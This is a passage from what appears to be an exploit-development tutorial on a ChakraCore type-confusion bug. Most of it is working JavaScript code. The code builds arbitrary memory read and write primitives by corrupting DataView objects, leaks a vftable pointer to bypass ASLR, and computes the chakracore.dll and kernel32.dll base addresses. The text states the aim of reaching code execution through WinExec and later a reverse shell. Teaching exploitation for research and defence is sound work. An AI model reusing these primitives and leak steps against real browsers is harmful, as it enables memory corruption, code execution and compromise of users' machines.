	<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

	<span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
	<span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
	<span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
	<span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> 	<span class="c1">// 4-byte arbitrary read</span>
	<span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>	<span class="c1">// 4-byte arbitrary read</span>

	<span class="c1">// Return the array</span>
	<span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
	<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> 		<span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
	<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

	<span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
	<span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// 4-byte arbitrary write</span>
	<span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// From here we can call read64() and write64()</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>We can see we added a few things above. The first is our <code class="language-plaintext highlighter-rouge">hex()</code> function, which really is just for “pretty printing” purposes. It allows us to convert a value to hex, which is obviously how user-mode addresses are represented in Windows.</p>

<p>Secondly, we can see our <code class="language-plaintext highlighter-rouge">read64()</code> function. This is practically identical to what we displayed with the arbitrary write primitive. We use <code class="language-plaintext highlighter-rouge">dataview1</code> to corrupt the <code class="language-plaintext highlighter-rouge">buffer</code> of <code class="language-plaintext highlighter-rouge">dataview2</code> with the address we want to read from. However, instead of using <code class="language-plaintext highlighter-rouge">dataview2.setUint32()</code> to overwrite our target address, we use the <code class="language-plaintext highlighter-rouge">getUint32()</code> method to retrieve <code class="language-plaintext highlighter-rouge">0x8</code> bytes from our target address.</p>

<p>Lastly, <code class="language-plaintext highlighter-rouge">write64()</code> is <em>identical</em> to what we displayed in the code before the code above, where we walked through the process of performing an arbitrary write. We have simply “templatized” the read/write process to make our exploitation much more efficient.</p>

<p>With a read/write primitive, the next step for us will be bypassing ASLR so we can reliably read/write data in memory.</p>

<h2 id="bypassing-aslr---chakrachakracore-edition">Bypassing ASLR - Chakra/ChakraCore Edition</h2>
<p>When it comes to bypassing ASLR, in “modern” exploitation, this requires an information leak. The 64-bit address space is too dense to “brute force”, so we must find another approach. Thankfully, for us, the way Chakra/ChakraCore lays out JavaScript objects in memory will allow us to use our type confusion vulnerability and read primitive to leak a <code class="language-plaintext highlighter-rouge">chakracore.dll</code> address quite easily. Let’s recall the layout of a dynamic object in memory.</p>

<p><img src="/images/2typeconfusion61.png" alt="" /></p>

<p>As we can see above, and as we can recall, the first hidden property of a dynamic object is the <code class="language-plaintext highlighter-rouge">vftable</code>. This will always point somewhere into <code class="language-plaintext highlighter-rouge">chakracore.dll</code>, and <code class="language-plaintext highlighter-rouge">chakra.dll</code> within Edge. Because of this, we can simply use our arbitrary read primitive to set our target address we want to read from to the <code class="language-plaintext highlighter-rouge">vftable</code> pointer of the <code class="language-plaintext highlighter-rouge">dataview2</code> object, for instance, and read what this address contains (which is a pointer in <code class="language-plaintext highlighter-rouge">chakracore.dll</code>)! This concept is very simple, but we actually can more easily perform it by <em>not</em> using <code class="language-plaintext highlighter-rouge">read64()</code>. Here is the corresponding code.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="c1">// Create two DataView objects</span>
<span class="nx">dataview1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>
<span class="nx">dataview2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">DataView</span><span class="p">(</span><span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mh">0x100</span><span class="p">));</span>

<span class="c1">// Function to convert to hex for memory addresses</span>
<span class="kd">function</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
	<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> 		<span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
	<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

	<span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
	<span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
	<span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
	<span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> 	<span class="c1">// 4-byte arbitrary read</span>
	<span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>	<span class="c1">// 4-byte arbitrary read</span>

	<span class="c1">// Return the array</span>
	<span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Arbitrary write function</span>
<span class="kd">function</span> <span class="nx">write64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">)</span> <span class="p">{</span>
	<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> 		<span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
	<span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

	<span class="c1">// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)</span>
	<span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="nx">valLo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// 4-byte arbitrary write</span>
	<span class="nx">dataview2</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="nx">valHi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>		<span class="c1">// 4-byte arbitrary write</span>
<span class="p">}</span>

<span class="c1">// Function used to set prototype on tmp function to cause type transition on o object</span>
<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// main function</span>
<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
	<span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

	<span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>We know that in <code class="language-plaintext highlighter-rouge">read64()</code> we first corrupt <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code> with the target address we want to read from by using <code class="language-plaintext highlighter-rouge">dataview1.setUint(0x38...)</code>. This is because <code class="language-plaintext highlighter-rouge">buffer</code> is located at an offset of <code class="language-plaintext highlighter-rouge">0x38</code> within the a <code class="language-plaintext highlighter-rouge">DataView</code> object. However, since <code class="language-plaintext highlighter-rouge">dataview1</code> already acts on the <code class="language-plaintext highlighter-rouge">dataview2</code> object, and we know that the <code class="language-plaintext highlighter-rouge">vftable</code> takes up bytes <code class="language-plaintext highlighter-rouge">0x0</code> through <code class="language-plaintext highlighter-rouge">0x8</code>, as it is the first item of a <code class="language-plaintext highlighter-rouge">DataView</code> object, we can just simply using our ability to control <code class="language-plaintext highlighter-rouge">dataview2</code>, via <code class="language-plaintext highlighter-rouge">dataview1</code> methods, to just go ahead and retrieve whatever is stored at bytes <code class="language-plaintext highlighter-rouge">0x0</code> - <code class="language-plaintext highlighter-rouge">0x8</code>, which is the <code class="language-plaintext highlighter-rouge">vftable</code>! This is the only time we will perform a read without going through our <code class="language-plaintext highlighter-rouge">read64()</code> function (for the time being). This concept is fairly simple, and can be seen by the diagram below.</p>

<p><img src="/images/2typeconfusion62.png" alt="" /></p>

<p>However, instead of using <code class="language-plaintext highlighter-rouge">setUint32()</code> methods to overwrite the <code class="language-plaintext highlighter-rouge">vftable</code>, we use the <code class="language-plaintext highlighter-rouge">getUint32()</code> method to retrieve the value.</p>

<p>Another thing to notice is we have broken up our read into two parts. This, as we remember, is because we can only read/write 32-bits at a time - so we must do it twice to achieve a 64-bit read/write.</p>

<p>It is important to note that we will <em>not</em> step through the debugger every <code class="language-plaintext highlighter-rouge">read64()</code> and <code class="language-plaintext highlighter-rouge">write64()</code> function call. This is because we, in great detail, have already viewed our arbitrary write primitive in action within WinDbg. We already know what it looks like to corrupt <code class="language-plaintext highlighter-rouge">dataview2-&gt;buffer</code> using the builtin <code class="language-plaintext highlighter-rouge">DataView</code> method <code class="language-plaintext highlighter-rouge">setUint32()</code>, and then using the same method, on behalf of <code class="language-plaintext highlighter-rouge">dataview2</code>, to actually overwrite the buffer with our own data. Because of this, anything performed here on out in WinDbg will be purely for exploitation reasons. Here is what this looks like when executed in <code class="language-plaintext highlighter-rouge">ch.exe</code>.</p>

<p><img src="/images/2typeconfusion63.png" alt="" /></p>

<p>If we inspect this address in the debugger, we can clearly see the is the <code class="language-plaintext highlighter-rouge">vftable</code> leaked from <code class="language-plaintext highlighter-rouge">DataView</code>!</p>

<p><img src="/images/2typeconfusion64.png" alt="" /></p>

<p>From here, we can compute the base address of <code class="language-plaintext highlighter-rouge">chakracore.dll</code> by determining the offset between the <code class="language-plaintext highlighter-rouge">vftable</code> entry leak and the base of <code class="language-plaintext highlighter-rouge">chakracore.dll</code>.</p>

<p><img src="/images/2typeconfusion65.png" alt="" /></p>

<p><img src="/images/2typeconfusion66.png" alt="" /></p>

<p><img src="/images/2typeconfusion67.png" alt="" /></p>

<p>The updated code to leak the base address of <code class="language-plaintext highlighter-rouge">chakracore.dll</code> can be found below:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>Please note that we will omit all code before <code class="language-plaintext highlighter-rouge">opt(o, o, obj)</code> from here on out. This is to save space, and because we won’t be changing any code before then. Notice also, again, we have to store the 64-bit address into two separate variables. This is because we can only access data types up to 32-bits in JavaScript (in terms of Chakra/ChakraCore).</p>

<p>For any kind of code execution, on Windows, we know we will need to resolve needed Windows API function addresses. Our exploit, for this part of the blog series, will invoke <code class="language-plaintext highlighter-rouge">WinExec</code> to spawn <code class="language-plaintext highlighter-rouge">calc.exe</code> (note that in part three we will be achieving a reverse shell, but since that exploit is much more complex, we first will start by just showing how code execution is possible).</p>

<p>On Windows, the Import Address Table (IAT) stores these needed pointers in a section of the PE. Remember that <code class="language-plaintext highlighter-rouge">chakracore.dll</code> isn’t loaded into the process space until <code class="language-plaintext highlighter-rouge">ch.exe</code> has executed our <code class="language-plaintext highlighter-rouge">exploit.js</code>. So, to view the IAT, we need to run our <code class="language-plaintext highlighter-rouge">exploit.js</code>, by way of <code class="language-plaintext highlighter-rouge">ch.exe</code>, in WinDbg. We need to set a breakpoint on our <code class="language-plaintext highlighter-rouge">print()</code> function by way of <code class="language-plaintext highlighter-rouge">ch!WScriptJsrt::EchoCallback</code>.</p>

<p><img src="/images/2typeconfusion68.png" alt="" /></p>

<p>From here, we can run <code class="language-plaintext highlighter-rouge">!dh chakracore</code> to see where the IAT is for <code class="language-plaintext highlighter-rouge">chakracore</code>, which should contain a table of pointers to Windows API functions leveraged by <code class="language-plaintext highlighter-rouge">ChakraCore</code>.</p>

<p><img src="/images/2typeconfusion69.png" alt="" /></p>

<p><img src="/images/2typeconfusion70.png" alt="" /></p>

<p>After locating the IAT, we can simply just dump all the pointers located at <code class="language-plaintext highlighter-rouge">chakracore+0x17c0000</code>.</p>

<p><img src="/images/2typeconfusion71.png" alt="" /></p>

<p>As we can see above, we can see that <code class="language-plaintext highlighter-rouge">chakracore_iat+0x40</code> contains a pointer to <code class="language-plaintext highlighter-rouge">kernel32.dll</code> (specifically, <code class="language-plaintext highlighter-rouge">kernel32!RaiseExceptionStub</code>). We can use our read primitive on this address, in order to leak an address from <code class="language-plaintext highlighter-rouge">kernel32.dll</code>, and then compute the base address of <code class="language-plaintext highlighter-rouge">kernel32.dll</code> by the same method shown with the <code class="language-plaintext highlighter-rouge">vftable</code> leak.</p>

<p><img src="/images/2typeconfusion72.png" alt="" /></p>

<p>Here is the updated code to get the base address of <code class="language-plaintext highlighter-rouge">kernel32.dll</code>:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>

    <span class="c1">// Leak a pointer to kernel32.dll from ChakraCore's IAT (for who's base address we already have)</span>
    <span class="nx">iatEntry</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x17c0000</span><span class="o">+</span><span class="mh">0x40</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>     <span class="c1">// KERNEL32!RaiseExceptionStub pointer</span>

    <span class="c1">// Store the upper part of kernel32.dll</span>
    <span class="nx">kernel32High</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the lower part of kernel32.dll</span>
    <span class="nx">kernel32Lo</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1d890</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernel32.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32High</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32Lo</span><span class="p">));</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>We can see from here we successfully leak the base address of <code class="language-plaintext highlighter-rouge">kernel32.dll</code>.</p>

<p><img src="/images/2typeconfusion73.png" alt="" /></p>

